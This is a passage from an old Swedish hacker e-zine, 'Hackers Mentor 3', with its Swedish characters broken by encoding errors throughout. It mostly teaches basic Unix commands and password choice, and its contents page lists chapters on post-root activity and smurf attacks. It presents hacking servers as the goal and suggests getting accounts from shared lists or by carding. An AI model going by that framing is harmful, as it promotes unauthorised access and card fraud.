informis/textfiles
1
0
Fork 0
Code Issues Pull Requests Packages Projects Releases Wiki Activity
textfiles/magazines/SWEDISH/orange.txt

3230 lines
130 KiB
Plaintext
Raw Normal View History

Initial commit
2021-04-15 13:31:59 -05:00
The third book of
Hackers Mentor
The Hackers Mentor third book. Step #3.
::::
::::::::
:::::::::::
:::::::
::::
The Hackers Mentor 3
V<EFBFBD>lkommen till den tredje boken av Hackers Mentor.. The Orange book. Hackers Mentor <20>r en serie
guider inom hacking, phreaking, cracking, carding och elektronik som har skickats ut till
prenumeranter i Sverige. The Hackers Mentor White Book <20> var den f<>rsta boken best<73>ende av 10
Hackers Mentor delar. H<>r kommer trean, inneh<65>llande en massa nya godsaker! =^)...
Hackers Mentor ges ej l<>ngre ut som E-Tidning .. Allts<74>, den skickas inte l<>ngre ut som kortare
sm<EFBFBD> nummer till en massa svenska prenumeranter, den finns och g<>rs nu endast som bokversion!
Nu b<>rjar vi avancera lite! Nu ska vi l<>ra oss om C++ och UNIX! Det blir la rolit??
Det <20>r faktiskt ett M<>STE! Och om du INTE l<>r dig detta s<> kommer du ALDRIG kunna kalla dig f<>r
en riktig hacker! <20>ven om det <20>r tr<74>kigt och du inte riktigt h<>nger med,, s<> l<>s vidare! Och l<>s om och
om igen s<> att du L<>R DIG allt som st<73>r i boken! Nu b<>rjar den riktiga hackingen ta vid.
Sj<EFBFBD>lv, n<>r jag skrev kapitel 1 om UNIX i den h<>r boken, tyckte jag att det var jobbigt och segt..
Men efter ett tag l<>ttar det, efter en liten stund b<>rjar det sitta. Till sist str<74>cker man p<> sig,
ler och g<>r och h<>mtar en Jolt i kylsk<73>pet.. <20>Ja!! Jag KAN det! Fy fan va kul<75>. Det l<>ttar,
i slutet av UNIX kapitlet, om du l<>st det, klarat av att f<>rst<73> allt och kommer ih<69>g det mesta,
s<EFBFBD> kommer du m<> bra!
/Mathreon. (Numera Icecoder).
* Ni tycker kanske att det bara blir sv<73>rare och sv<73>rare att f<>rst<73> vad jag menar eller kanske det
helt enkelt blir f<>r sv<73>rt att komma ih<69>g allt, Det beror p<> att jag sj<73>lv redan kan allt det jag skriver
och helt enkelt inte riktigt minns hur jag sj<73>lv skulle vela ha det skrivet, n<>r jag sj<73>lv INTE kunde
det jag nu skriver om<6F> Jag skulle kanske beh<65>va n<>gon av er l<>sare till hj<68>lp i detta tillf<6C>lle.
Men l<>s NOGGRANT! Sp<53>nn <20>gonen p<> texten och ta p<> dig t<>nkarluvan! Det f<>r ta den tid det tar
men du M<>STE, M<>STE, M<>STE l<>ra dig det som st<73>r! Och jag f<>rs<72>ker f<>rklara s<> gott det g<>r!
Dock kan det vara sv<73>rt att h<>lla den takt som ni vill ha,, men det f<>r ni ta! Tyv<79>rr. *
OBS: Om du inte har l<>st bok nummer 1 & 2. <20>The White Book<6F> & <20>Yellow Book<6F>., och inte heller
n<EFBFBD>gra andra texter, s<> rekommenderar jag att du G<>R det! Du hittar alla nuvarande b<>cker p<>
www.insecurefoundation.cjb.net ELLER www.haxerz.com. Eller
www.crosswinds.net/~insecfoundation/main.html
BOKEN SER B<>ST UT I MICROSOFT WORDS OM DU HAR SK<53>RM INST<53>LLNING
P<EFBFBD> 800x600 Bildpunkter och <20>Wordwrapping<6E> p<>slagen. Annars ser den bra ut i HTML
format. Du hittar DOC och HTML formaten p<> v<>r hemsida. (hemsidor).
OM DU EJ SER BILDER, UTAN STORA, TOMMA F<>LT I TEXTEN, S<> SL<53>PP
MUSEN OCH V<>NTA LITE, D<> LADDAS BILDERNA IN P<> DIN SK<53>RM!
PS: SKRIV UT BOKEN! DEN <20>R GJORD F<>R DET! DET
K<EFBFBD>NNS L<>TTARE ATT L<>SA DEN S<>.
Nu ska vi titta lite p<> hur ditt kunnande om hacking kommer vara beroende p<> hur mycket och spritt
du l<>ser! Se f<>ljande tabell:
[Lista 0.1 <20> Hur bra kan du bli?]
D<EFBFBD> ska vi se<73>
En ETTA <20>r det b<>sta du kan ha h<>r. En sjua <20>r det s<>msta!
Vilket passar in p<> dig? Vilket exempel vill du f<>lja? :
7 = <20> Du l<>ser ingenting! Det enda du g<>r <20>r att leka med NetBus och Kaboom!3 <20>mailbomber och
prata med dina lamer kompisar om hur mycket data du kan! ( Du kan F<><46><EFBFBD>R LITE!!! )
6 = Du har sl<73>ngt ett <20>ga p<> Hackers Mentors tredje del om NetBus. Du beter dig som 7<>n men
l<>ser lite grann om hur man anv<6E>nder Netbus och Winnuke mm.. ( Lamt! Mycket lamt! )
5 = Du l<>ser varje del av Hackers Mentor men f<>rst<73>r n<>stan ingenting. Du h<>ller p<> som 7<>n och 6<>n
fast lite mer seri<72>st. Du VILL l<>ra dig! Du VILL l<>ta N<>GON l<>ra dig! Bingo! Du har hittat r<>tt
guide, synd att du inte <20>r tillr<6C>ckligt smart bara!
4 = Du l<>ser Hackers Mentor och fattar det som st<73>r. Du l<>ser dessutom de texter som diox1de
(Knash^) gav ut f<>r 1<> <20>r sedan! Ok,, du har en f<>rm<72>ga att fatta och en vilja att l<>ra! Du b<>rjar
komma n<>gon vart! (dock programmerar du fortfarande i BATCH, eller?)
3 = Du l<>ser Hackers Mentor, Du l<>ser en massa andra texter om hacking och phreaking och allt
m<EFBFBD>jligt som du hittar p<> diverse hacking arkiv. Du fattar n<>stan allt! Du <20>r sn<73>ppet b<>ttre men p<>
ungef<EFBFBD>r samma v<>g som 4<>n.
2 = Du l<>ser Hackers Mentor, Alla delar! Du l<>ser en massa annat ocks<6B> (Fr<46>n GHA<48>s textarkiv,) du
l<EFBFBD>ser och l<>gger in egna ins<6E>ndare p<> Flashback och BugTraq. Du l<>ser UNIX b<>cker och en guide om
C++, Du har l<>st VB och kommer in lite p<> Perl. Du g<>r till biblioteket varje m<>nad och l<>nar en ny
bok om ett operativsystem eller programmeringsspr<70>k. Bra!! Du <20>r ju p<> helt r<>tt v<>g! Dig kommer det
bli n<>got av! Forts<74>tt p<> det sp<73>ret!
1 = Wow! Du <20>r <20>bern<72> som <20>gnar STOR tid <20>t att l<>sa och l<>ra! T.o.m. st<73>rre tid <20>n 2<>an!
(Allts<74> n<>gra timmar om dagen!). Du HAR L<>ST Unix, Assembler, VB, Perl, C/C++,
alla Hackers Mentor,, du kommer l<>sa alla senare Hackers Mentor. Text arkiv? Tss! Du har redan t<>mt
alla! Du l<>ser nu ALLT som du kan hitta om data! Du l<>ser t.ex.. Avancerad C++ i n<>tverk,
Atari programmering, avancerad cracking, Systemering, OS programmering, ja ja ja,, du KAN ALLA
termer och ord, du VET vad alla f<>rkortningar st<73>r f<>r. Du har varit med l<>nge, men slutar inte l<>sa<73>
Du kan allt om firewalls, inet-camera, kan en hel del 3D och Spel programmering, ljuss<73>ttning,
webbdesign, JA! Det mesta! Du har bara PDP datorerna och Atari programmeringen kvar! Om ens
det! Du kanske t.o.m. <20>r med och forskar fram ett nytt n<>tverk? Nya tj<74>nster, programmerar s<>kerhets
software f<>r olika f<>retag..
S<EFBFBD>.. vad vill jag f<> fram h<>r???
Po<EFBFBD>ngen <20>r.. DU BLIR INTE N<>GON <20>BERHAXXOR AV ATT L<>SA ENBART
HACKERS MENTOR! Du M<>STE l<>sa en hel j<>vla massa andra saker! L<>na b<>cker, l<>sa texter och
E-Zines, prata med folk p<> IRC, Du m<>ste t<>mma vartenda hacking arkiv p<> texter, l<>s alla tutorials du
- hittar och fr<66>ga efter nya p<> IRC! Men.. vi kommer en l<>ng v<>g med Hackers Mentor. Dock M<>STE
du l<>sa en massa andra texter och b<>cker ocks<6B>! Annars g<>r det aldrig!
( F<>r er som nu sitter och s<>ger, <20>hh. Fy fan va d<>ligt. <20>kommer en l<>ng v<>g med Hackers Mentor..
Hah! Kolla bara,, NetBus, HakTek och anonymt mail! Fy fan va t<>ntigt. De kommer ju ingen vart.. ,<2C>
- Vi <20>r <20>n s<> l<>nge bara i B<>RJAN av TREDJE boken! Nu ska jag b<>rja tjabbla om UNIX och C++,
L<EFBFBD>ter inte det ganska bra? Vi har ju fan 8 b<>cker kvar! Ni kan vara lugna,, <20>ven om det nu tar lite tid
f<EFBFBD>r mig att skriva och komplettera b<>ckerna, s<> kommer de. Och n<>sta g<>ng blir den lite mer
avancerat, Innan vi slutar ska du i alla fall vara s<> kunnig att du kan b<>rja jobba som programmerare
eller s<>kerhets ansvarig p<> ett f<>retag, skryta inf<6E>r IRC kompisar med dina kunskaper och visa din
<EFBFBD>mackt<EFBFBD> p<> betydligt h<>gre stadium <20>n nuking och flooding ! ;-).
Jag f<>rs<72>ker att h<>lla boken inom s<> lagliga gr<67>nser som m<>jligt fr<66>n och med den h<>r boken.
Men lugn! Ni kommer att f<> l<>ra er lika mycket om s<>kerhet som f<>rut. Dock lite mer som,,
S<EFBFBD>KERHETS aspekt ,,, fr<66>n den s<>kerhetsansvariges <20>gon. I n<>sta nummer kommer jag bland annat
prata om SYN flooding, sniffers, carding och s<> klart, forts<74>tta med UNIX och C++.
_ INDEX:___________
Kapitel 1: UNIX
Anv<EFBFBD>nd Unix f<>r f<>rsta g<>ngen. L<>r dig beh<65>rska systemet och de enklaste kommandona.
Kapitel 2: C/C++ Programmering.
L<>r dig det hederliga hackingspr<70>ket C++! Skapa egna program f<>r Windows.
Kapitel 3: Inspirations stund
En liten saga f<>r att ge mera inspiration att l<>ra!. <20> Tomteverkstaden<65>.
Kapitel 4: Vad du g<>r n<>r du f<>tt <20>root<6F> i ett system.
Anv<EFBFBD>nda Unix och telnet f<>r att g<> vidare i ditt hackade system.
Kapitel 5: Smurf Attacks
S<EFBFBD> g<>r det till, s<> h<>r g<>r du f<>r att <20>smurfa<66> n<>gon av n<>tet.
Kapitel 6: Mera UNIX
F<EFBFBD> ig<69>ng Internet, konfigurera n<>tet och n<>tverkskortet. Internet tj<74>nster mm..
Kapitel 7: Dreamhack 2000
HaxerZ har varit p<> Dreamhack 2K i Borl<72>nge. Nordens / Europas(?) st<73>rsta demo party.
Hur var det? Hur gick det till? Nyheter och <20>skvaller<65> ;-).
Kapitel 1: UNIX
Nu har du passerat s<> gott som alla de nyb<79>rjar stadier du kan t<>nka dig, och <20>r p<> god v<>g
att lyckas som hacker. Den h<>r boken kommer <20>ven hj<68>lpa dig p<> v<>gen till att bli dataexpert
p<EFBFBD> ett f<>retag eller som s<>kerhets expert hos Internet polisen!. Utan den h<>r boken klarar du dig
helt enkelt inte! Du m<>ste l<>ra dig Unix och C++ i vilket fall som helst! S<> det <20>r bara att s<>tta
ig<EFBFBD>ng! H<>r <20>r f<>rsta kapitlet, den f<>rsta timmen p<> din v<>g mot IT Miljon<6F>rs jobben!
* <20>ALLA HACKERS ANV<4E>NDER UNIX<49> (?) *
Nej, tyv<79>rr. Det st<73>mmer inte. <20>ven om alla s<>ger s<>. Dock m<>ste en hacker kunna <20>t minstonde
grunderna i Unix f<>r att klara de krav som st<73>lls d<>r ute p<> n<>tet. Det <20>r faktiskt s<> att s<> gott som
alla servrar p<> Internet anv<6E>nder sig av Unix. Och hur ska du m<>jligen kunna hacka en utan att ens
veta om vad <20>ls<6C>, <20>cat<61> och /etc betyder?
Innan vi kan h<>ja ribban och b<>rja hacka servers p<> allvar, beh<65>ver vi l<>ra oss Unix. S<> nu k<>r vi
ig<EFBFBD>ng! (F<>rst, om du inte visste det, s<> <20>r Unix ett operativsystem, som Windows, fast mer avancerat
men mycket b<>ttre och snabbare. Unix utvecklades hos AT&T i USA i slutet av 60 talet).
1. Jag t<>nker inte ber<65>tta hur du installerar Unix / Linux. Det <20>r en halv bok i sig. Det finns m<>nga,
enkla instruktioner till det n<>r du skaffar systemet.
- S<> hur skaffar jag Unix / Linux ?
Det finns m<>nga svar, det vanligaste och billigaste <20>r att ladda hem det. Det kostar sin tid p<> n<>tet,
men om du j<>mnf<6E>r det priset med att k<>pa systemet i butik, s<> sparar du m<>nga sedlar!
Jo. Du kan k<>pa det i butik. Sj<53>lvklart. www.linuxbutiken.se <20>r en adress som jag tror fungerar,
Du kan ju <20>ven titta in hos riktiga butiker i stan. Men r<>kna med kostnaderna!
Dock <20>r nog det b<>sta alternativet att k<>pa Unix <20>ver disk.
N<EFBFBD>gra olika varianter av Linux/Unix/*NIX Baserade system <20>r:
Slackware Linux ( B<>sta valet tycker jag (3.6 rockar ;-) )
SuSe Linux
RedHat Linux
Dragon Linux ( Test version )
Corel Linux
Caldera Open Linux
FreeBSD ( BSD System )
System V ( En av de <20>ldsta versionerna av UNIX )
<EFBFBD>POSIX<EFBFBD>, HP-UX, Solaris, AIX
Detta <20>r bara toppen p<> isberget. Det finns en MASSA olika versioner!
Och det enda s<>ttet att v<>lja p<>, <20>r att fr<66>ga i butiken, l<>sa p<> Internet eller
rent utav , testa systemen och se vilket som passar b<>st f<>r just DINA behov!
Innan jag s<>ger n<>gonting mer vill jag bara f<>rtydliga att Linux och Unix <20>r ungef<65>r
samma sak, och att det du l<>r dig h<>r, g<>ller f<>r b<>de Linux och Unix.
UNIX <20>R ETT FLERANV<4E>NDARSYSTEM
Att Unix <20>r ett fleranv<6E>ndarsystem inneb<65>r att flera olika personer kan anv<6E>nda
systemet samtidigt. Detta d<> genom n<>tverk f<>rst<73>ss. Utan n<>tverk inblandat, <20>r det
du, och BARA du som anv<6E>nder systemet.
F<EFBFBD>r att du ska kunna konfigurera systemet och f<> det att g<>ra som du sj<73>lv vill ha det,
s<EFBFBD> b<>r du dock ha ett eget konto p<> den dator du anv<6E>nder.
Eftersom att du kanske gillar <20>C Shell<6C> b<>ttre <20>n din bror, som ocks<6B> ska anv<6E>nda datorn,
s<EFBFBD> <20>r det ju v<>ldigt bra om det finns tv<74> olika konton! Ett med C Shell och ett med Bash. (Som din bror
- gillar). Du kan ocks<6B> ha ditt egna konto p<> en Unix server. Ett Shell konto!
(Jag ber<65>ttar mer om shells senare). D<> m<>ste system administrat<61>ren, (den ansvarige f<>r servern),
kunna h<>lla ordning p<> sina anv<6E>ndare. D<>rf<72>r tilldelas alla anv<6E>ndare ett eget inloggningsnamn,
l<EFBFBD>senord och en viss <20>tkomst till systemet. Vi kommer i den h<>r boken f<>rutse att du k<>r Unix p<>
din egen dator, utan uppkoppling, och p<> ett shell konto som ligger p<> din egen dator, och inte p<>
en server i USA.
? Hur du skaffar ett shell konto
- Du kan p<> vissa system logga in som anonym anv<6E>ndare. Men f<>r d<> mindre m<>jligheter att
r<EFBFBD>ra dig i systemet, och du kan inte anv<6E>nda det till s<> mycket.
Du kan registrera dig f<>r ett gratis konto, men d<> kan du heller (i de flesta fall) inte anv<6E>nda kontot
f<EFBFBD>r s<> mycket, och kan inte t.ex. k<>ra en IRC bot p<> kontot, n<>r du inte sj<73>lv <20>r online.
Du kan hyra ett konto. D<> f<>r du st<73>rre m<>jligheter att g<>ra saker p<> servern, och kan k<>ra program
som t.ex. IRC bots, <20>ven n<>r du inte <20>r online. Dessa konton kostar oftast inte s<> mycket, men <20>r
hemskt anv<6E>ndbara. Du betalar en viss summa pengar, en g<>ng varje kvartal, m<>nad eller <20>r, och
kontot h<>lls <20>ppet f<>r dig.
Du kan k<>pa ett konto. <20> Betala lite extra, och du kan f<> ett konto som best<73>r i flera <20>r!
Hur som helst..
Fr<EFBFBD>n och med denna textsnutt f<>ruts<74>tter jag att du har n<>gon version av Unix/Linux och
k<EFBFBD>r den p<> din dator. <20> Jag hoppar nu <20>ver all historik mm.. Det k<>nns <20>verfl<66>digt! <20>
OBS: Det <20>r viktigt att du l<>ser allt och l<>r dig allt som st<73>r i den h<>r boken! Annars g<>r du
bara i meningsl<73>sa cirklar utan att komma n<>gon vart!
1: Skaffa ett konto p<> din egen maskin, och logga in!
Denna del:
? Logga in och ut ur systemet
? <20>ndra l<>senord
? V<>lja ett bra l<>senord
? Ta reda p<> vem du <20>r och vem datorn tror att du <20>r
? Ta reda p<> vilka andra anv<6E>ndare som finns i systemet
? Ta reda p<> vad alla andra g<>r i systemet
? Kontrollera inst<73>llningar, datum och tid.
[ En hel del l<>nat ur boken Unix p<> 24 Timmar och Know Ware - Linux ]
F<EFBFBD>rst, s<> b<>r du ju k<>nna till att den f<>rsta g<>ng du loggar in p<> systemet anv<6E>nder du det namn och
l<EFBFBD>senord du valde n<>r du installerade Unix/Linux. Antagligen namnet <20>root<6F>.
/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
Det f<>rsta du kommer se n<>r du kopplar upp dig mot ett UNIX system, eller bara startar Unix p<>
din egen dator, <20>r en liten reklam banner med systemets namn, tid och datum. Samt en liten prompt:
4.3BSD DYNIX (bla.blabla.bla) 9:42am on Mon, 24 May 1999
login:
Raden <20>login:<3A>, fr<66>gar dig som du nog f<>rst<73>r, efter ditt konto namn. Om det ser annorlunda ut p<> din
sk<EFBFBD>rm, s<> kommer du <20>nd<6E> alltid, f<>rr eller senare, till login prompten, d<>r du m<>ste ange ditt
anv<EFBFBD>ndarnamn och l<>senord. Var noga med att anv<6E>nda sm<73> bokst<73>ver om ditt system inte sagt annat!
Ett login vid man Icecoder skulle UNIX se som ett helt annat login <20>n icecoder. :
Login: icecoder
Password:
Skriv in konto namnet och klicka p<> <20>Enter<65> knappen p<> ditt tangentbord. [Enter & Return <20>r samma
sak! ] Vi n<>mner tangenten som Enter i den h<>r boken.
N<EFBFBD>r du klickat Enter s<> kommer Password prompten upp. Den vill allts<74> ha ditt l<>senord,,,
N<EFBFBD>r du skriver in l<>senordet s<> kommer du sj<73>lv inte kunna se vad du skriver p<> sk<73>rmen,
det <20>r normalt! Bara s<> att inte din nyfikne kompis ska se vad du skriver, <20>ver axeln p<> dig.
Om du skriver in felaktigt l<>senord eller login, s<> kommer systemet svara med <20>Login incorrect<63> och
du f<>r, (i de flesta fall) tv<74> f<>rs<72>k till. S<> se till att stava R<>TT och med STORA och sm<73> bokst<73>ver
p<EFBFBD> r<>tt st<73>llen! Exakt s<> som du f<>tt veta att det ska stavas! Aldrig med mellanslag!
N<EFBFBD>r du har loggat in f<>r du se lite mer information om datum, vind och v<>der.. du vet.
Beroende p<> vilken sorts shell du anv<6E>nder, kommer du f<> se lite olika varianter av prompter.
Den h<>r prompten <20>r i vanliga fall ett % tecken:
%
- som talar om f<>r dig att systemet <20>r redo att ta emot kommandon.
En annan vanlig prompt <20>r $. Det spelar ingen roll..
Din prompt kommer antagligen se ut p<> ett ungef<65>r s<> h<>r:
4.3BSD DYNIX (bla.blabla.bla) 9:42am on Mon, 24 May 1999
Login: icecoder
Password:
Last login: Fri Apr 8 19:32:12 on ttyAe
You have mail.
[/users/icecoder] :
(hackment) 3 :
founder@lords.com %
Din prompt beh<65>ver inte se ut s<> h<>r, men den har i varje fall en unik
egenskap: Den <20>r det f<>rsta som st<73>r p<> raden d<>r din mark<72>r finns,
och den upprepas varje g<>ng du har k<>rt ett Unixprogram.
S<EFBFBD> ditt f<>rsta Unix kommando:
exit
F<EFBFBD>r att logga ut ur systemet. Pr<50>va det! Det st<73>nger alla program och logar ut.
Sedan f<>r du en ny prompt vid vilken du ska skriva in l<>sen och login igen!
%exit
- Quit meddelande visas p<> denna rad -
4.3BSD DYNIX (bla.blabla.bla) 9:42am on Mon, 24 May 1999
login:
Det <20>r ocks<6B> m<>jligt att du kan avsluta sessionen genom att h<>lla in Ctrl-D.
Vissa skal f<>ngar upp detta och fr<66>gar om du verkligen vill avsluta, vissa st<73>nger
direkt.
( F<> ETT KONTO P<> EN SERVER )
F<EFBFBD>r att f<> ett konto som du kan koppla upp dig till, (vilket jag rekommenderar)
S<EFBFBD> m<>ste du antingen registrera ett konto p<> n<>gon server, eller g<> och h<>mta
ett fungerande fr<66>n www.cyberarmy.com/lists.
Man kan dock aldrig lita p<> att de kontona fungerar, eller s<> kan de vara under str<74>ng
bevakning, och d<> <20>r det ingen st<73>rre gl<67>dje att hacka fr<66>n dem.
Det finns v<>ldigt m<>nga hemsidor och f<>retag som l<>ter dig antingen hyra, eller f<> ett
konto. F<>rst<73>ss <20>r de konton som du kan f<> gratis v<>ldigt d<>liga och fungerar s<>llan <20>ven
n<EFBFBD>r du inte sj<73>lv <20>r online. Men det <20>r alltid en b<>rjan! Annars kan du ju carda ett konto.
Mer om carding i Red Book of HM. Jag f<>rutser att du har ett konto nu.
Om du ist<73>llet <20>r inloggad som <20>root<6F>, allts<74> som den anv<6E>ndare som f<>r g<>ra vad han/hon vill
i systemet, s<> kan du skriva <20>adduser kalle<6C> f<>r att l<>gga till en anv<6E>ndare med namnet <20>kalle<6C>.
OBS: Ta bort citat tecknen! (som alltid)
N<EFBFBD>r du skrivit den d<>r kodraden f<>r du en massa f<>rfr<66>gningar om olika saker.
Fyll i informationen och voella! Du har skapat en ny anv<6E>ndare i systemet som inte har lika
stor valfrihet och access som root. Du kan anv<6E>nda det nya kontot f<>r att gr<67>va i ditt system utan att
ta on<6F>diga risker. ;-).
BYTA L<>SENORD
Nu n<>r du vet hur man loggar in (f<>rutsatt att du har ett konto!), s<> kan det vara bra
att veta hur du <20>ndrar ditt l<>senord. Detta l<>senord kan vara v<>ldigt viktigt att h<>lla
hemligt. S<> se till att inte skriva upp det p<> en lapp som du st<73>mplar fast p<> skrivbordet
eller i v<>rre fall, p<> en gul lapp p<> sk<73>rmkanten!
Kommandot f<>r att <20>ndra l<>senord <20>r passwd.
Det anv<6E>nds p<> f<>ljande s<>tt:
% passwd
Changing password for Icecoder.
Old password:
New password:
Retype new password:
Missmatch <20> password unchanged.
%
H<EFBFBD>r <20>r ett exempel. I mitt fall <20>ndrade jag inte l<>senordet.
<EFBFBD> Missmatch <20> password unchanged. <20>
betyder f<>rst<73>ss att jag skrev in felaktigt l<>senord och
d<EFBFBD> <20>ndrades det inte!
OBS: Du m<>ste vara inloggad p<> det konto d<>r du vill <20>ndra l<>senord! =^).
Jag m<>ste genast uppm<70>rksamma dig p<> s<>kerhets kraven som du b<>r st<73>lla p<> dig sj<73>lv!
F<EFBFBD>r att ingen ska kunna gissa sig till, eller enkelt lyckas cracka sig in p<> ditt konto, beh<65>ver
du anv<6E>nda ett trassligt l<>senord. G<>rna runt 8 bokst<73>ver med b<>de siffror och bokst<73>ver.
Dock b<>r du ju komma ih<69>g l<>senordet! Ett d<>ligt l<>sen skulle kunna vara:
misse
(Som i detta exempel <20>r namnet p<> din katt)
Ett annat d<>ligt l<>sen skulle kunna vara:
a0a0a0
- Varf<72>r det? Fr<46>gar du.. <20> D<>rf<72>r att vem som helst skulle kunna r<>ka skriva detta, eller
i annat fall, om n<>gon bruteforce crackade mot ditt konto, s<> skulle crackern snart hitta ditt
l<EFBFBD>senord! Anv<6E>nd inte g<>rna enbart bokst<73>ver och siffror som kommer tidigt i alfabetet! Och
g<EFBFBD>r inte l<>senordet f<>r kort!!
Et exempel p<> ett BRA l<>senord skulle kunna vara:
dff9y4hu
Wow! Det ser trassligt ut! Hur skulle jag komma ih<69>g det?
- Inte fan vet jag. Men det kan bli en n<>dv<64>ndighet!
Du skulle kunna ta, de f<>rsta tre bokst<73>verna i ditt f<>rnamn, de tre f<>rsta siffrorna i ditt hemnummer,
Och de tre f<>rsta bokst<73>verna i ditt efternamn.
(Ditt telefon nummer kanske <20>r 094258831 och du kanske heter Adam Ohlsson):
ada094ohl
Jag tror knappast att n<>gon skulle testa detta. Men eftersom att jag n<>mner det h<>r,,, du kan ju
ta det lite omv<6D>nt:
ohlada094
eller
adaohl094
eller
ada138lho
( Det sista var med de sista tre siffrorna i ditt nummer och <20>ohl<68> Bakl<6B>nges)
Du kan ocks<6B> ta l<>nga meningar som <20>Jag e en leet guru p<> C++<2B> och f<>rkorta det till:
Jeelgpc. - Det skulle bli sv<73>rt nog, men du kunde <20>nd<6E> komma ih<69>g det!
Du kommer nog p<> n<>got!
Hur g<>r det? H<>nger du med? Jag f<>resl<73>r redan nu att du g<>r och h<>mtar papper och penna och
b<EFBFBD>rjar dokumentera det du l<>r dig! Skriv ned alla kommandon som jag visar dig!
Du kan beh<65>va en fusklapp senare. Puh! Redan jobbigt. Hur ska du komma ih<69>g allt?
Vi m<>ste k<>mpa oss igenom den h<>r boken! Sedan blir det rock<63>n roll! ?
L<EFBFBD>t det ta tid. Det finns ingen b<>ttre v<>g en denna. Men ta pauser! Det kan du beh<65>va.
Nu,,,, nu forts<74>tter vi.
SE VEM DU <20>R P<> DATORN
Du <20>r inloggad, beredd att skriva in kommandon. Utm<74>rkt!
Medan du <20>r inne i systemet kan du passa p<> att titta p<> vem du <20>r, eller vem datorn
tror att du <20>r. Det enklaste s<>ttet <20>r att anv<6E>nda whoami:
% whoami
icecoder
%
Pr<EFBFBD>va nu detta kommando i ditt system!
Detta kommando visar allts<74> vilket inloggningsnamn som du loggade in dig med.
98% av Unix kommandon <20>ndras inte om du anv<6E>nder mellanslag, men i det h<>r
fallet blir resultatet n<>got helt annat.
% who am i
hackment.servern.edu!icecoder ttyp4 Feb 8 19:54
%
H<EFBFBD>r fick jag veta en del om min identitet i systemet.
Prova och se vilket resultat det ger.
I det h<>r fallet <20>r hackment den dator jag loggade in mig p<> och
icecoder <20>r som vanligt mitt loggin namn. Hackment <20>r allts<74> mitt
v<EFBFBD>rdnamn! Och servern.edu <20>r resten av dom<6F>nnamnet.
Utropstecknet (!) skiljer dom<6F>nnamnet och inloggnings namnet <20>t.
<EFBFBD>tty<EFBFBD> <20>r en f<>rkortning f<>r <20>teletypewriter<65> och h<>rnstammar fr<66>n de riktigt
gamla Unix systemen som k<>rdes interaktivt teleprinter.
Det st<73>r f<>r en dator- eller terminaluppkoppling.
Adressen:
Hackment.servern.edu. Jag f<>rklarar:
Edu = education. Allts<74> <20>r datorn indragen i n<>gon sorts utbildning. Ett universitet eller liknande.
Sedan <20>Servern<72>. Inom n<>tverket finns en server vid namn <20>Servern<72> som i sin tur hanterar
datorn d<>r kontot finns. (Datorn heter <20>Hackment<6E>.) Detta bildar d<> allts<74> en hierarkiskt adress!
Ett annat s<>tt att ta reda p<> vem du <20>r i Unix <20>r via kommandot id.
Det <20>r avsett att upplysa dig om vilken grupp du tillh<6C>r och om ditt kontos anv<6E>ndar-ID
(uid = <20>user ID<49>). Skriv kommandot id och se vad du f<>r. Jag ser f<>ljande:
% id
uid=211(icecoder) gid=50(users0) groups=50(users0)
%
OBS: i vissa system anv<6E>nds id f<>r att ta fram l<>gniv<69>information om filer.
H<EFBFBD>r ser jag att mitt kontonamn <20>r icecoder och att mitt anv<6E>ndar id <20>r 211.
Precis som kontonamnet <20>r anv<6E>ndar ID t n<>got helt unikt i systemet.
Sedan kan du se att mitt grupp ID (gid = <20>Group ID<49>), <20>r 50 och att grupp nummer 50
heter users0. Och slutligen, att det <20>r den enda grupp jag tillh<6C>r.
Se vilka som <20>r inloggade
Du kan enkelt se vilka som <20>r inloggade med kommandot users:
% users
icecoder marcos steve xeroz
%
I det h<>r fallet var icecoder, marcos, steve och xeroz inloggade i systemet.
F<EFBFBD>r att f<> mer information anv<6E>nder vi who:
% who
icecoder ttyp0 Feb 6 14:10 (limbo)
marcos ttyp2 Feb 6 06:52 (calliope)
steve ttyp4 Feb 4 12:37 (dent)
xeroz ttyp4 Feb 6 13:04 (osiris)
H<EFBFBD>r f<>r vi information om de inloggade!
Datum f<>r inloggningen, tid, vilken typ av ttyp som alla <20>r inloggade via
och vilka system de <20>r anslutna fr<66>n.
- Det st<73>r mig att xeroz anv<6E>nder samma namn p<> system som Tsutomu i filmen
<EFBFBD>Operation Takedown<77>! ;-).
Om du nu vill se <20>NNU mer information, till och med vad alla i systemet G<>R, s<> ska
du helt klart anv<6E>nda kommandot w:
% w
-
-
-
-
%
H<EFBFBD>r kommer du nu f<> se en dr<64>s information, som jag faktiskt inte orkade skriva. (ok, det <20>r inte S<><53>
mycket, men just nu n<>r jag skriver detta s<> <20>r klockan 00:49, och jag m<>ste upp klockan 08:00 i
morgon, s<> jag tycker inte att jag har TID, [dock hade jag visst tid att skriva detta!]. hehe,,
Du f<>r i alla fall veta i vilka program som de inloggade jobbar f<>r tillf<6C>llet, samt en del annan info.
Kontrollera Datum och Tid
F<EFBFBD>r att enkelt se hur mycket klockan <20>r, och vilket datum det <20>r<EFBFBD> S<> kanske vi borde anv<6E>nda <20>time<6D>.
Men nej.. Testa det kommandot s<> f<>r du se vad som h<>nder!:
% time
14.5u 17.0s 29:13 1% 172+217io 160pf+1w
%
- Det gav inte s<> mycket.
F<EFBFBD>r att f<> veta det vi var ute efter, s<> anv<6E>nds <20>date<74> kommandot:
% date
Tue Feb 5 15:07:42 EST 1999
%
S<EFBFBD>! Nu fick vi se det vi ville se.
Tue = Tuesday = torsdag
Feb = Februari = februari
5 = femte
15:07:42 = sju minuter <20>ver 3 p<> eftermiddagen. ( Plus 42 sekunder ).
<EFBFBD>r 1999.
Du f<>rst<73>r s<>kert! ;-).
Kapitel 1. Del: 2. <20> F<> hj<68>lp i UNIX <20>
Nu n<>r du vet hur man loggar in, ut och f<>r en del information om systemet,
s<EFBFBD> <20>r det andra du beh<65>ver l<>ra dig i detta nya system, att kunna f<> hj<68>lp med olika saker.
Den h<>r boken r<>cker v<>ldigt l<>ngt, men du kommer <20>nd<6E> i situationer d<> du beh<65>ver
veta n<>got som ej stod med i boken.
Det finns en del att veta om det f<>rsta kommandot, <20>man<61>. Som jag nu ska ber<65>tta om.
Men f<>r att vi ska hinna och orka l<>sa den h<>r boken tar jag bara med det mest n<>dv<64>ndiga.
* ( Jag kommer vidare genom alla Hackers Mentor att prata om Unix och ge dig nya kommandon
samt upprepa de som vi tidigare l<>rt oss. S<> du kommer att l<>ra dig Unix bara du l<>ser allt!
